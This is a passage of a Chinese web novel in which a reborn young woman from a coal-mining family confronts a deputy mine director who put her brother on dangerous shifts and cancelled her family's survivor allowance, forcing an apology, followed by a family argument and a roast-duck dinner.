巩副矿长虽然没从贺家占到便宜,但也没吃大亏,还把经营状况良好的三产饭店硬生生抢走,虽然最后因为他们自己的原因导致客流量暴跌,饭店倒闭。 贺明珠在桌子上轻轻敲着手指,难道真是他? 中午吃得简单而隆重。 简单是因为菜少,做法不繁琐;而隆重则是每道菜都精心准备,具有针对性的功效。 齐家红炖了猪肺萝卜汤,润肺止咳,专为在井下粉尘环境长时间工作的贺明国准备。 还有卤猪肝,明目补血,正适合贺明国。现在的井下缺乏眼部护具,矿工眼球容易受到飞溅的煤灰和渣滓伤害,再加上连日的夜班,眼睛负担过重,正需要补一补。 卤料的汤底是贺明珠调制的,老卤被分成几部分,几家店和贺家各存一份,洗好的猪肝放进老卤中,味道是越卤越香。 除此之外,还有清炒时蔬和清炖 棒骨,主打一个清淡。 对着一桌子的菜,贺明国的胃口却不算好。 熬夜会使人的消化功能紊乱,出现胀气、食欲不振的问题,即使白天补够了觉,也无法完全弥补。 齐家红担忧地皱着眉,轻声劝道:“多多少少吃一点,不吃的话身体受不住。要不我去给你拿乳酶生,吃点助消化的药。” 贺明国笑起来,拿起筷子就往嘴里塞了一块猪肝,含混地说:“我没事,这不吃得挺好的吗?” 贺明珠见状,转身到厨房调了一碗酸梅汤,端出来放到贺明国面前。 “喝吧,喝完我和你一起去分矿。” 酸梅汤是用乌梅、山楂、甘草和冰糖熬制而成,原材料简单,制作起来却颇为麻烦。 一两半的乌梅,三两山楂和三两冰糖,加上二十斤的清水,要足足熬上一夜,才能将乌梅和山楂的味道彻底熬出来,配上冰糖的清甜,喝起来酸中带甜,入口回甘。 贺明珠去年晒了一些干桂花,在酸梅汤水开的时候往里面撒上一把,蒸腾的水汽中就有了桂花特有的香气,恬淡而甜蜜,让人喝起来在呼吸间仿佛都带上了淡淡的桂花香…… 贺家之所以常备酸梅汤,是因为贺小弟经常消化不良,偏偏他嘴壮又爱吃,就算消化不良也不影响他每顿都要大吃特吃,然后导致更严重的消化不良,上厕所时疼得嗷嗷直哭。 贺明珠都服了,怎么会有这种记吃不记打的小孩。 她甚至有点想实践一下清廷的育儿方法,病了就净饿几天,肠胃清干净了再说。 但一想到废帝自称小时候被饿到在御膳房偷猪肘子,抱着大啃特啃,直到被太监抢走——算了,被迫挨饿的小孩太惨了,还是试试食补吧。 酸梅汤有开胃助消化的功能,贺明珠索性在家中常备,每天睡前熬上一大锅,全家做梦的味道都是酸甜清香的。 贺明国自持家长身份,不肯喝这种酸酸甜甜的饮品,说起来这是女人和小孩喝的,他一个大男人才不喝酸梅汤。 但贺明珠把酸梅汤推到他面前,大有“他要是不喝就捏着鼻子全给他灌下去”的气魄,贺明国无奈,只好老老实实喝完这一碗。 然而,酸梅汤甫一入口,立时在口腔内沁起清凉恬淡的滋味。明明是常温的,却给人一种冰凉的错觉,整个人为之一静。 贺明国原本由于过度疲劳而昏昏沉沉的大脑,此时神志一清,五感渐渐苏醒,像是原本雾蒙蒙的玻璃终于被擦亮,窗外投进明媚的阳光。 一碗汤喝完,贺明国主动起身去厨房,又给自己来了一碗。 喝完酸梅汤,略停了停,贺明国终于慢一拍地胃口大开,对着满桌子精心准备的菜食指大动。 他一边吃,一边含混地说:“你专心上学,分矿的事不用你操心。我下午就去找排班的人问一问,就算是要赶生产,也不能就可着我薅羊毛吧。” 贺明珠不禁笑了:“大哥,你可算想起来要给自己争取权利了。” 贺明国瞪她一眼,心想自己要是不主动上的话,来的就是贺明珠了。 他一个做大哥的,反而要妹妹替自己出头,这也太没面子了吧。与其如此,还不如让他自己来呢。 齐家红也高兴了些,补了一句:“也别光是排班的事,你负责的那块工作是不是也该换一换了?也不能总是你打锚杆吧?这么危险的工作,总该大家轮流来做呀。” “打锚杆?” 贺明珠敏锐地发现了关键词。 作为煤矿子弟,她对于采矿的基本流程是有所了解的。 在煤矿开采过程中,对于未曾采掘的煤层,要首先开动掘进机进行掘进,挖出一条可以采掘的矿道。掘进后其他矿工要立刻进行临时性支护,在不断掉落煤炭的工作面上挂铁丝网和锚杆锚索支护,之后进行喷浆,将水泥覆盖在煤层上,使其处于相对稳定的状态,不会在后续的开采过程中掉落煤炭和碎渣。 虽然由于重力和地壳运动,挖出的这条矿道会逐渐缩小,从矿工可以站直了进去开采,到只能弯着腰,再到只能蹲着,甚至空隙狭小到无法开采。 采矿工作复杂多样,需要担负不同任务的多个班组进行协同作业。而在众多工作中,属掘进的工作最为危险,对矿工身体损害程度最高。 由于掘进机要将原本一体的煤层挖出一条矿洞,在掘进过程中会造成大量煤炭粉尘四散,工作面五米内看不清人,是矿工常患职业病矽肺的重要原因之一。 而打锚杆更是危险,由于原本完整的煤炭层中忽然出现一个空洞,上覆压力太大,常常在打顶锚时忽然间从顶层塌下一大片煤炭。 在井下发生的众多事故中,由于打锚杆造成矿工被煤层埋住是常有之事。 因此,打锚杆的工作是由有经验的矿工轮换完成的,并不会固定由一人去做。 在贺父的同事中,不少人因为打锚杆而被埋牺牲,贺父本人也曾因此受伤。 当年,贺父就曾经因为打锚杆而受伤过。贺母带着孩子们赶到矿区卫生院时,贺父躺在病床上,头脸缠着纱布,闭着眼睛,还没从昏迷中苏醒。 医生说,幸好贺父在事故发生的瞬间下意识地用手挡了一下,才没被伤到要害,但脑震荡至少是跑不了的。 至于有多严重,有什么后遗症,还要看他醒来的状态。 贺家人提心吊胆,生怕贺父像他的同事一样再也醒不过来。 贺明珠当时年纪小,对此印象极为深刻,当时家中气氛压抑至极,说一句天塌了也不为过。 幸好后来贺父醒了,但头上留下了永久性的疤痕。 贺明珠从此将“打锚杆”三个字深深刻入记忆中,即使是前世她离开矿务局十余年,偶尔在新闻上看到“打锚杆”三个字,犹会一阵心悸。 贺明珠本来并不清楚贺明国的具体工作内容,他自知工作危险,从来都是报喜不报忧,在家人面前轻描淡写地说自己的工作很轻松,老同志都很照顾他。 当听到齐家红说贺明国负责完成打锚杆的工作时,贺明珠的眉毛一下就立了起来。 “大哥,为什么是你一直在负责打锚杆?” 贺明国发现了妹妹的怒火,试图安抚她:“都是工作,没有挑三拣四的道理。而且我们班组里属我最会打锚杆,打好的锚杆稳固又安全,从没出过事,其他人的水平都不行,必须我来啊。” 贺明珠却并不接受这个解释。 “你做的最好和只让你去做是两码事。何况你连上一周夜班,精神和身体状况都在亮红灯,即使你是打锚杆最好的那个人,可在这种情况下,难道你还能和之前做的一样好吗?这是对你不负责,也是对一整个班组的不负责。” 贺明国没想到他的话反而更加激发了贺明珠的怒气,一时不知该说什么。 他知道贺明珠为什么发火,对他而言,打锚杆也并不是什么称得上愉快的事。 但工作就是工作,没有挑三拣四的道理,既然他选择接班在井下工作,无论被分配了什么样的工作,都应当尽力做到最好。 齐家红难得不支持丈夫,用严肃的语气说:“明珠说得有道理,井下工作本就危险,你不能总想着你做的好就都由你来做……这样,这样,至少对我们很不公平。” 贺明国安抚地拍一拍齐家红的手,对贺明珠说:“别担心,我会和领导说的。” 贺明珠却摇摇头。 “这已经不是你能解决的问题了。” 她抬头看向贺明国,表情沉重,隐隐压着怒火。 “大哥,对不住,你大概是被我连累了。” 第124章 第124章闹事与谈判 当被取消工亡子女补助的消息传来后,贺明珠彻底确定了罪魁祸首 ——巩副矿长。 只有他的手能伸到一矿下属的分矿,也只有他才有权力取消贺家的工亡子女补助。 虽然以贺家如今的收入,这点补助算不上什么,但它所代表的意义却远超十块钱。 这是贺父用命换来的钱,也 是他对孩子们最后的给予。 在贺家最困难的时候,贺明国的工资全部用来还债,而这笔补助能够保证他们有钱买粮买菜,维持基本的生存需要,不会饿肚子。 而在贺家经济状况转好的如今,这十块钱像是一条穿越了阴阳的亲情线,连结着六尺之上与六尺之下。 钱不重要,重要的是这笔钱的意义。 工亡,子女,补助。 短短三个词,却是字字见血,字数最少的悲剧。 哪怕被取消的补助只有一分钱,贺明珠也不会放弃。 因为这不止是钱。 贺明国被安排连上夜班打锚杆,再加上贺家的工亡子女补助被取消,贺明珠的怒气值彻底爆表。 看来她之前表现得太过文明,才给了某些人“贺家人很好欺负”的错觉。 贺明珠决心要把事情闹大,冲到一矿办公楼,把巩副矿长堵在办公室,指着他鼻子大骂。 巩副矿长被贺明珠气得要死,威胁要把她关进禁闭室。 “把保卫科的人给我叫来!她是来破坏社会主义经济建设的坏分子!马上把她给我关到禁闭室!” 一矿保卫科的禁闭室是很有名的。 这个有名指的是,不算太好的那种名声。 这年头大家都穷,普通人家存款最多不过几千块,偷一把也没多少钱,还容易被主人逮住送公安。 而地广人稀,又满是煤炭、电缆、机械设备的煤矿看起来简直是另类的黑色金矿。 小偷都喜欢来煤矿“捡”点便宜,不管是工字钢,还是电缆线,亦或是电机,以及满地都是的煤炭,随随便便搞一点,轻轻松松几百块到手。 为了保卫国家财产,煤矿设置了保卫科,还配了枪,论火力来说,不比乡镇派出所差,甚至可以部分的地市公安局相媲美。 一矿作为乌城矿务局数得上的大矿,其保卫科的干事大多是退伍军人,退伍不褪色,每日依旧按照军队的要求进行训练。 由于煤矿周边硕鼠成患,隔三差五就来盗窃矿上物资,甚至当着矿工的面都敢偷,胆子大到离谱。 为了威慑这帮贼,一矿的保卫科下手比较重,在抓到小偷后往往不是第一时间扭送公安,而是先关到禁闭室,开展一番“爱的教育”。 有的贼脑壳硬,梗着脖子和保卫科干事闹,结果就是竖着进去横着出来。 凡是被关过的小偷,再次行窃被抓住时,是哭着喊着要见公安,也不愿再去禁闭室。 后来禁闭室的关押对象不仅限于小偷,一些被认为扰乱煤矿生产秩序的人都会被关到禁闭室。 某种程度上,禁闭室成了某些人放纵权力的私刑室。 一矿的家长们甚至用禁闭室来吓唬小孩,类似于“你要是再不听话,我就找保卫科把你关到禁闭室”云云。 巩副矿长拿禁闭室来吓唬贺明珠,在场的人一时间都楞了。 有人和贺明珠相熟,就劝道:“先回去吧,别和巩矿长吵了,有什么问题之后再说。” “是啊,巩矿长别和小姑娘一般见识,她年纪还小呢。” “保卫科的人过来干什么?没你们的事儿,回去吧……” 巩副矿长反倒来了脾气,一挥手,气冲冲地说:“我看谁敢让她走!” “她敢来一矿闹事,就要承担后果!保卫科的,把她给我关到禁闭室去!” 保卫科的干事犹豫着没有动作,巩副矿长怒道:“站那儿干什么!还不快点!是不是不想干了?!” 干事没办法,不得不上前,低头对贺明珠小声说:“你配合一下……” 贺明珠却后退一步,避开了干事伸过来的手,扬声问道: “巩副矿长,你能代表一矿吗?你是公检法吗?你有权力拘禁守法公民的人身自由吗?” 巩副矿长气得大骂:“我有没有权力关你什么事?!你现在违法了,就应该被关起来!” 贺明珠很冷静:“哦?我违法了?我违的是什么法?国有国法,总不能是你现编的法吧?” “巩副矿长,你个人品德不行也就算了,怎么连基本的法律常识都没有呢?前年国家颁布的宪法可是说了,公民人身自由不受侵犯,除非是公安,任何单位都无权限制人身自由。就算你是副矿长,你也不能越俎代庖,抢人家公安的工作呀。” 巩副矿长吵不过贺明珠,喘着粗气去瞪保卫科干事:“你还在等什么?!还不快把她抓起来!” 干事左右为难,一边是上级,一边是懂法的刺头,两边看起来都很不好惹啊。 贺明珠却轻快地说: “巩副矿长,你就别为难人家保卫科的同志了。你自己违法也就算了,不能连累人家跟着你一起违法。这众目睽睽之下,就算你想颠倒黑白,也没戏呀。” 她还说:“你要是敢把我关禁闭室,我立刻就找记者曝光,到时候全国全党全军各族人民都会知道,乌城矿务局一矿的副矿长挟私报复,不仅意图谋害矿工遗属,还试图把人关进禁闭室行使私刑呢。” 贺明珠转头看了一眼干事,和蔼地说:“同志,你也不想成为巩副矿长的共犯吧?” 识时务者为俊杰,干事当机立断往后一退。 算了,他一个小干事,这种事儿还是别参与了。 贺明珠笑眯眯地去看巩副矿长,而巩副矿长已经快被气到升天了。 “你、你……” 贺明珠利索答道:“哎,我在呢,您有话赶紧说,大伙儿都急等着听呢。” 巩副矿长被气的脸色一白,几乎要当场厥过去。 这么会有这样不要脸的小姑娘啊! 贺明珠还催促:“你要是想道歉就说吧,虽然你做的事不地道没人性,但只要你诚心道歉,我还是可以考虑一下要不要原谅的。” 巩副矿长气得呼哧带喘,踉跄后退两步,双手撑住办公桌,从嗓子眼挤出一句咆哮: “你给我滚出去!!!” 贺明珠反而施施然在正对办公桌的布沙发上坐下。 “你今天要是不给我个说法,我就不走了,有本事就继续这么耗着,就算是告到局里,我也要把这事儿掰扯个明明白白。” 巩副矿长眼前一黑,在一矿闹完不算,她还想闹到矿务局?! 可看贺明珠的表情不似作伪,她是真想把这事儿闹大。 在国企文化中,有一种很实用,但往往被认为是负面的技能,就是闹事。 领导没拿上红包,故意把脏活儿累活儿安排给下属 ——堵领导办公室,故意开着门吵架,让屋里屋外的人都能听到领导干的缺德事儿,逼得领导不敢再明晃晃地给人穿小鞋。 卡着退休职工的子女,不让人家接班,导致家庭收入骤降 ——全家老小集体去单位大闹一场,到了饭点就在食堂吃白饭,什么时候安排岗位,什么时候再鸣金收兵。 单位福利分房时,明明职称和工龄都符合分房条件,但不是说要照顾老职工,就是说要发扬风格让给新职工,总之就是分不到房。 ——携家带口去负责分房的领导家,老人吵小孩哭,直到对方松口把人加到这一批分房名单里。 泼妇的名声不好听,但好处却是实实在在的。 然而,因为国企包办工人的生老病死,一辈子都生活在厂矿小社会中,与其撕下脸皮去闹,对于绝大多数人来说,宁愿选择忍耐。 毕竟闹事的人虽然争取到了利益,但在这个抬头不见低头见的熟人社会中,难以避免他人异样的目光以及背后的议论。 工作要做一辈子,总不能为了一时痛快,把自己的后路都断了——这是大部分国企职工的想法。 如果是上辈子的贺明珠,在面对巩副矿长故意打压时,她可能也会默默咽下委屈,想方设法逃离矿务局,打不过总躲得过吧。 但对于重生后的贺明珠,撒泼难道是什么很让人难为情的事吗? 无法维护自己的利益,无能才是更耻辱的事。 而且贺明珠知道历史的发展轨迹,像乌城矿务局这类终身包办式的国企会消失在时代大潮中,熟人社会日益消亡,所谓的“铁饭碗”也将成为历史名词。 最关键的是,贺家的未来不会局限在一矿,更不会局限在乌城。 贺明珠不担心把事儿闹大后社死,只担心事情闹得不够大,让觊觎的人不能投鼠忌器。 毕竟一个香香甜甜好拿捏的小蛋糕,和一个长满了刺的榴莲相比,傻子也不乐意赤手接榴莲。 既然巩副矿长喜欢仗着职权,偷偷摸摸在台面下给贺家人穿小鞋,贺明珠就要把这事儿闹大,让所有人都知道巩副矿长的小心思。 以后贺家要是再出什么事,哪怕这事儿和巩副矿长无关,人们第一反应也会是“巩又要干什么?” 一顶害人的帽子严丝合缝地扣巩副矿长脑袋上,就算他全身上下长满了嘴也解释不清,更何况,他本来就对贺家心怀不轨。 这会儿,办公室外就有人在低声议论。 “巩怎么就和矿工遗属过不去?” “堂堂一个副矿长,怎么就 欺负普通矿工呢?” “你一直在外地派驻,不知道情况,这小姑娘可不是什么普通矿工家的,咱们矿上的新食堂就是她家开的。以前还租了咱们矿上三产房子开了家饭店,生意相当红火。” “那巩为什么要针对她?红包给的不够?” “不止是红包的问题,之前他强行把三产房子收回来,要开什么一矿饭店,结果根本就没人去吃饭,矿上的拨款全打水漂了,你说他能不恨吗?” “你说的不全,他那饭店之所以黄了,是因为贺家开了新食堂,把客人都抢走了……” “一家饭店而已,能花多少拨款?以前三产干黄的店多了去了呢。他一个副矿长抓着这点小事儿不放,也够小心眼的啊。” “那你就不懂了,人家要的是面子,面子,懂不懂……” “瞧瞧他干的都是什么事儿?!副矿长欺负矿工遗属,这事要是传出去,我们一矿还要不要脸了?局里会怎么看我们?!” “你小点声……那可不是普通矿工遗属,当年她爹牺牲的时候被全局表彰过,而且这姑娘和报社有关系,上过报纸,一个搞不好,她还真能找记者告状去……” 办公室外的说话声音虽然刻意压低,但仍有只言片语飘进来,钻进巩副矿长的耳中。 他略微冷静下来,但面色依旧紧绷,一双眼若有所思地盯着贺明珠。 贺明珠无所畏惧地瞪回去,挑眉问:“你想好要道歉了?” 巩副矿长的表情差点没绷住,下意识地就反驳:“你才要给我道歉!” 贺明珠一摊手:“你要是这么说,这事儿就没谈下去的余地了。如果连最基本的道歉都做不到,那我也只能用尽关系和手段,来给我们家讨个公道了。” 说罢,贺明珠站起身,作势转身要走。 巩副矿长被她提到的“关系”二字惊得一个机灵,反应过来就快走两步,伸手拦住贺明珠。 “等等!” 贺明珠拨开他的胳膊,依然要离开:“等什么等,我等的时间已经够长了,我给的机会也够多了。巩副矿长,从此以后,我们各凭本事,看看谁能笑到最后。” 她转头看了巩副矿长一眼,似笑非笑地低声说道:“都说光脚的不怕穿鞋的,巩副矿长,你说,我们之间谁是光脚的,谁又是穿鞋的呢?” 这还用问? 巩副矿长的眼睛都瞪大了。 当然他才是那个处处受限的穿鞋人啊! “等等!我道歉,我道歉!你先别走,有话好好说!” 办公室外的人群发出一阵惊呼,没想到贺家这个小姑娘居然能真的逼得巩副矿长当场道歉,一时间众人的下巴都惊掉了。 贺明珠停下脚步,问道:“你要说什么?” 巩副矿长艰难地堆出一脸笑,把贺明珠拉进办公室:“来来来,我们在办公室里说……” 无视众人期盼的目光,他关上办公室的门。 贺明珠双手环胸,并没有按巩副矿长的意思坐到沙发上,而是站着,又问了一遍:“你要说什么?” 巩副矿长坐回办公椅上,双肘撑在办公桌上,手掌用力地搓了两把脸,这才打起精神。 “我看错人了,算你厉害,你说吧,要怎么样你才能不闹事了?” 巩副矿长终于意识到,他的一时意气之争给自己的前途带来了多大的隐患。 如果贺家只是普通矿工家庭,如果贺父不是因公牺牲,如果贺明珠没有开饭店上报纸…… 那么多的如果,偏偏都是现实发生的。 唉,他之前脑子糊涂了,把贺家当成以前运输公司的小员工整治,非逼得对方低头不可。但他现在反应过来,这是在一矿,而贺家也不是软柿子。 “你有什么条件,只要在我能力范围内的,我都可以答应。给你哥升成班长?给你家分套楼房?你说吧,你到底想要什么?” 对于巩副矿长提出来的和谈条件,贺明珠却表现得极为冷静。 “升职就不必了,我哥工龄不过才两年,让他当班长也不能服众;分楼房也没必要,我记得矿上福利分房的条件是已婚已育且工龄高于同期申请分房的职工,不管是哪个条件,我们家都不符合。” 巩副矿长抛出来的诱饵看起来十分香甜诱人,又是升职又是分房,要是意志力薄弱的人,说不定就答应了。 但贺明珠敏锐意识到了诱饵中隐藏的锋利鱼钩。 不管是强行将贺明国升成班长,管理一群工龄资历都比他更有资格当班长的老职工;还是贺家插队分房,把其他原本符合条件的职工挤下去,都会使贺家成为众矢之的。 即使短期来看,贺家能从中获利,但长期而言,甜美的毒果终将会反噬贪婪者。 巩副矿长没想到贺明珠居然这么精明,面对这样两个明显有利于贺家的条件都能毫不犹豫地拒绝,一时间有些愣怔,原本想好的话不知道要怎么说下去。 贺明珠说:“巩副矿长,你没必要挖坑,我又不可能蠢到要跳下去。” 巩副矿长重重叹了口气,闷声道:“是我低看你了。你说吧,你到底想要什么?” 贺明珠轻快地说:“我就要个公道呀。” 巩副矿长瞪她一眼,也不装了,从鼻子里哼了一声:“你要是只想要公道的话,就不会坐在这里了。矿长办公室在楼上,你完全可以直接去找老矿长告状,或者找记者在报纸上曝光。” “你之所以要来我办公室闹事儿,一方面是想把事情闹大,让其他人以后不敢对你们家下手;另一方面就是想从我这儿讨到什么好处吧。” 贺明珠笑眯眯地说:“巩副矿长,您要是一直这么睿智的话,我们也没必要走到今天这个地步。确实,您分析的都对,我是故意把这件事闹大的。” 在得知贺明国被安排连上夜班并负责最危险的打锚杆工作后,贺明珠怒气值爆表,但当取消工亡子女补助的消息传来后,她反而渐渐冷静下来。 徒有愤怒是无用的,只会让敌人多一份情绪的战利品。 只有将杀招藏在愤怒中,才会给敌人送上致命一击。 在前往一矿的路上,贺明珠已经想好接下来要怎么办了。 她的愤怒是真的,也可以说是假的。 在怒火冲冲、斥责巩副矿长的贺明珠背后,还藏着一个冷眼旁观、将事态发展指引向自己所期望方向的贺明珠。 而巩副矿长的所有反应都在贺明珠的预料中。 不管是开始的震惊,还是被人当面指责的恼羞成怒,亦或是现在的套话谈判,贺明珠都猜中了。 唯一没猜中的是,没想到巩副矿长居然会这么快就冷静下来。 “我做的最大的错事,就是为了家饭店,给自己树了个敌人。” 巩副矿长摇了摇头,苦涩地说:“真是江山代有才人出,长江后浪推前浪啊,真 不能小瞧你们这些年轻人,原本想给别人设套,却没想到最后就把自己给套进去了。” 他抬头看向贺明珠:“我输了,我愿意道歉,对不住,不该因为私人恩怨就针对你哥,再怎么说他也是一矿职工。井下工作本来就危险,不应该人为增加更多危险。” 听到巩副矿长的话,贺明珠点点头,说: “行,我接受你的道歉,接下来我们谈一谈赔偿吧。” 巩副矿长问道:“你想要什么赔偿?把三产房子还给你吧,你可以继续开饭店了。” “我不需要三产房子了。” 贺明珠轻快地说:“我要一座空厂房。” 第125章 第125章左手一只鸭 贺明珠离开办公楼时,有好事者追上去问,她和巩副矿长关上门都谈了些什么? 贺明珠笑眯眯地打量对方,直看得对方的声音越来越小,她才慢悠悠地说: “为什么问我呢?我看起来像是大喇叭吗?如果你真的很好奇,不如去问巩副矿长好了。” 对方心中暗骂,就是因为不敢问巩,所以才来问她啊。 都怪这小丫头长了一张乖巧漂亮的脸蛋,差点就忘了这是个刺头。 无人阻拦,贺明珠溜溜达达回了家。 她站在门口,听到院里传来的话语声,几个人的声音掺在一起,语气急促,一副火上房的模样。 “什么,老大你们两口子也不知道她去哪儿了?!” “你先冷静,老三是不是去巡店了?几个店都问过了吗?” “都没有,我打电话问了,分矿那边今天也没见到她!” “都怪我,就不该和她提夜班和打锚杆的事……” “和你没关系,是我的问题……我知道她去哪儿了,家红,你在家等着,老二,你跟我上矿!” “什么夜班,什么打锚杆?我怎么听不懂你们的话?” “来不及了,路上和你慢慢说!这个老三,胆子也太大了!” 院门被猛地一下拉开,贺明国和站在门口的贺明珠对了个正脸。 “老三?你……” 贺明珠作无辜状:“啊?找我有事儿?” 贺明军从贺明国的身后看过来,见是贺明珠,又惊又喜地说:“老三,你回来了!” 他拨开贺明国,把贺明珠拉进院里,急躁地说:“你跑哪儿去了?!你们老师都找来店里了,说你今天没去上课!你到底是干什么去了?怎么不和家里说一声!” 齐家红冲过来,拉住贺明珠的手,连声询问:“你没去矿上吧?” 贺明珠露出一个乖巧的笑。 “呃,如果我说我去了呢?” 鸡飞狗跳一番后,一家人终于能坐下来说话。 贺明珠老老实实地将她今天的行程汇报给了三位家长,没全说,灵活机动地删减了部分“不重要”的内容,把大闹副矿长办公室说得像春游一样轻松愉快。 然而,全家只有托儿所的小弟信以为真,几个有社会经验的成年人都没被她骗过去。 “太鲁莽了!” 贺明军率先批评道:“就算要去闹事,怎么着也得把我叫上吧!你一个小姑娘骂又骂不过,打又打不过,闹了也是白闹!你要是叫上了我,我直接半夜套麻袋把姓巩的收拾一顿,让他再欺负咱家!” 贺明国喝道:“老二!你瞎教什么!有你这么说话的吗?!” 贺明军不服气,呛声道:“你自己要当老实头,别连累全家!对付这种人,就是要打到他服,打得他认怂为止!打不死就往死里打!我就不信了,谁的骨头比铁棍硬!” 玉面罗刹难得发威,眉眼间都是煞气,要是饭店的常客看到现在的贺明军,估计都不敢认,这还是那个成天和老费厨师斗嘴的人吗? 贺小弟没见过贺明军发火,怯生生地往后退了退,小动物似的躲到齐家红身后,齐家红安抚似的拍了拍他。 贺明国毫无惧色,他从小和贺明军打习惯了,对他的凶相视若无睹,反而还骂道: “你就那么想蹲局子?!看到别人被严打抓起来,你是不是也皮痒了!?” 贺明军冷笑一声:“总好过被人欺负到头上!你愿意做缩头乌龟是你的事,我可受不了这种气!” 贺明国怒道:“你——” 眼见两个哥哥的火气越来越大,贺明珠猛地站起来,啪地一拍桌子。 “你们俩吵够了没?要是没吵够,滚出去打一架好了!什么时候能好好说话,什么时候再回来!” 贺明国和贺明军之间剑拔弩张的气氛骤然一停。 贺明军好气又好笑地说:“老三,你到底跟谁一伙儿的?” 贺明珠不顾形象地翻了个白眼。 “从小打到大,你们俩没打烦,我看都看烦了。再说了,明明是在说我的事,你们俩怎么能又吵起来啊?合着还没迎敌呢,我们家里先乱起来了呢,这不是让人看笑话吗?” 贺明军尴尬地摸了摸鼻子,嘀咕道:“还不是老大说话太气人……” 贺明国也冷静了些,平复了一下心情,努力把话题掰回正轨,对贺明珠说: “你二哥有句话说得对,你确实是太鲁莽了。这么大的事,怎么能和家里不商量一声,自己就去找姓巩的?万一保卫科要是真给你关禁闭室了怎么办?” 想到这里,贺明国甚至有些后怕。 贺明珠一个小姑娘,孤身一人闯到矿上闹事,要是真出了事,家里甚至都来不及去救人。 贺明军难得和贺明国站统一阵线,同样说道:“你就算不想告诉老大,也好歹和我说一声,有你二哥陪着,谁也动不了你一根汗毛。” 什么叫“不想告诉老大”,什么叫“好歹和他说一声”?合着他这个大哥就非得被排除在外? 贺明国瞪了贺明军一眼,忍了忍,不想破坏现在的和平局面,没说话。 贺明珠好笑地说:“得,现在你们俩成一伙儿的了。” 贺明国和贺明军嫌弃地对视一眼—— 谁要和他一伙儿啊! 贺明珠没拿这个话题打趣太久,转而说道:“我是特地不告诉你们的。” 贺明国和贺明军同时皱起眉毛,两张相似的脸上露出不解神情,异口同声地追问: “为什么?” 贺明珠小狐狸似的笑了。 “当然是因为,我必须是以‘弱者’的身份闹事呀。” 贺明珠孤身一人前往办公楼,那叫苦主上门讨公道,虽然她只有一个人,却站在了道德的高地,法理和情理上都占理。 ——瞧瞧,堂堂一个副矿长把因公牺牲的矿工遗属都逼成什么样了? 瘦伶伶的小姑娘,独自面对发福的中年男人,面对强权而不畏缩,勇敢地为家人发声。 即使她说的一些话不太中听,可在大众眼中,怎么看怎么都是巩副矿长恃强凌弱,欺负人家一个孤女,忒不要脸了。 可以说,生而为人基本的同理心,让民众天然就站在了弱者的一方,即使是表面上的弱者。 弱者闹事,天生就占了三分理,把在场人的同情分都拉满。 无论巩副矿长说什么做什么,在人们看来,他都是仗着手上权力欺负普通矿工。 人人心中都有一杆秤,当贺明珠独自出现在办公楼时,这杆秤就会自然而然地朝她的方向偏。 可要是贺明珠带上俩五大三粗的哥哥,那事情的性质就变了,变成“社会闲散青年围攻国家单位,干扰正常生产秩序”。 即使贺明国和贺明军不动手不说话,只是站在一边,但也会在某种程度上削减“闹事”的正义性。 到时候,弱者反而成了独自面对三个贺家人的巩副矿长,括号,其中两个还是正当年的壮汉。 强弱身份一转换,人们心中的秤就会摇摆不定。 即使是最客观的人,在不认可巩副矿长仗势欺 人行为的同时,也会批评贺家在办公楼聚众闹事,最后双方各打八十大板。 因此,只有贺明珠独自前来,才能在最大限度上拉拢人心,让舆论更偏向于贺家。 听到贺明珠解释后,齐家红有些不赞同地说:“就算你要一个人去,也应该提前告诉家里一声。” 贺明珠问道:“我要是提前说了,你们会让我自己去吗?” 贺明国毫不犹豫地接口:“当然不会!” 贺明珠一摊手:“那不就结了。” 她站起身,溜溜达达地往厨房走,随口问道:“晚上吃什么?我今天又耗脑力又耗体力,要大吃一顿才行。” 贺明军追上去,没好气地说:“吃西北风!等下我把窗户打开,你喝两口新鲜风就得了!” 贺明珠讨好地抱住贺明军的胳膊,撒娇地摇了摇。 “二哥最好了~嘿嘿,亲哥怎么会舍得让我喝西北风呢~再说了,春天哪有西北风,二哥你这地理学得不太行呀~” 贺明军瞥她一眼,冷笑道:“这会儿是亲哥了?闹事的时候怎么就没想到你有仨亲兄弟呢?” 贺明珠迟疑:“啊?把小弟也算在里面呀?不太好吧……” 贺小弟噔噔噔跑过来,好奇地问:“姐,啥事儿呀?为啥不算我?” 贺明军气糊涂了,这才反应过来自己说了什么废话。 “一边去,没你的事儿,托儿所的作业写了吗?写完去背九九乘法表!” 贺小弟冲贺明军做了个鬼脸,扭着肥嘟嘟的小屁股跑了。 贺明珠故意调侃:“我想起来了,闹事的时候小弟可以坐在地上哭,他嗓门亮,一定能把其他人的声音都压下去,传出去就是副矿长打小孩了。” 贺明军都被气笑了,瞪了贺明珠一眼,推上自行车就往外走。 “去哪儿啊?”贺明珠在他身后问道。 贺明军头也不回地说:“去给你打包西北风!” 贺明珠追着喊了一句:“别忘了,要荤素搭配的西北风啊!” 晚上的时候,贺明军带着打包好的“西北风”回来了。 春天的晚上还有些冷,一家人吃饭的桌子就摆在了大屋空地上。 贺小弟扒在桌沿,垫着脚往上看,与桌面平齐的视线让他只看到棕红色、冒着油光的皮。 “这是什么呀?” 路过的贺明军扔了一句:“西北风。” 贺小弟抽了抽鼻子,感慨道:“好香的西北风啊,要是天天能吃西北风就好了……” 齐家红差点没忍住笑,面带笑意地把贺小弟抱上椅子,顺便拿湿毛巾给他擦了擦两只小爪子。 “这是烤鸭,用鸭子做的菜。” 听到“鸭子”两个字,贺小弟条件反射似的欢乐开唱:“左手一只鸡,右手一只鸭,身上还背着一个胖娃娃呀~” 贺明国拿着碗筷进来,一听就头疼:“他怎么又开始唱了。” 自从春晚播放了《回娘家》这首歌,由于歌词简单,旋律轻快,而且是邓丽君的歌,很快就在街头巷尾传唱,流传颇广,一时间成了八十年代洗脑神曲。 贺小弟跟着大人学唱,偏偏他年纪小,歌词记得七零八落,只会一句“左手一只鸡,右手一只鸭”,像录音机里卡带的磁带,连着唱了三个月,唱得贺家人闻风丧胆,听到“鸡鸭”两个字就有心理阴影。 贺明珠眼疾手快地用荷叶饼卷鸭肉,蘸了点酱,囫囵个塞到贺小弟嘴里。 “乖,吃饭的时候不许唱歌。” 全家人顿时松一口气。 贺小弟呜噜呜噜地不知道在说什么,两只小手握住鸡肉卷,从嘴里扯出来,腾出空来就说: “姐,烤鸭味的西北风可真好吃!” 全家人先是安静,接着便是一阵畅怀大笑。 “哈哈哈哈老二让你瞎说,该!” “二哥以后咱家到饭点就开窗,专等你的西北风上桌哈哈哈哈……” “老三你是不是傻啊,我随口说句西北风,你这也信?” 贺明军郁闷地伸手掐住贺小弟的脸蛋儿,面团儿似的揉圆搓扁。 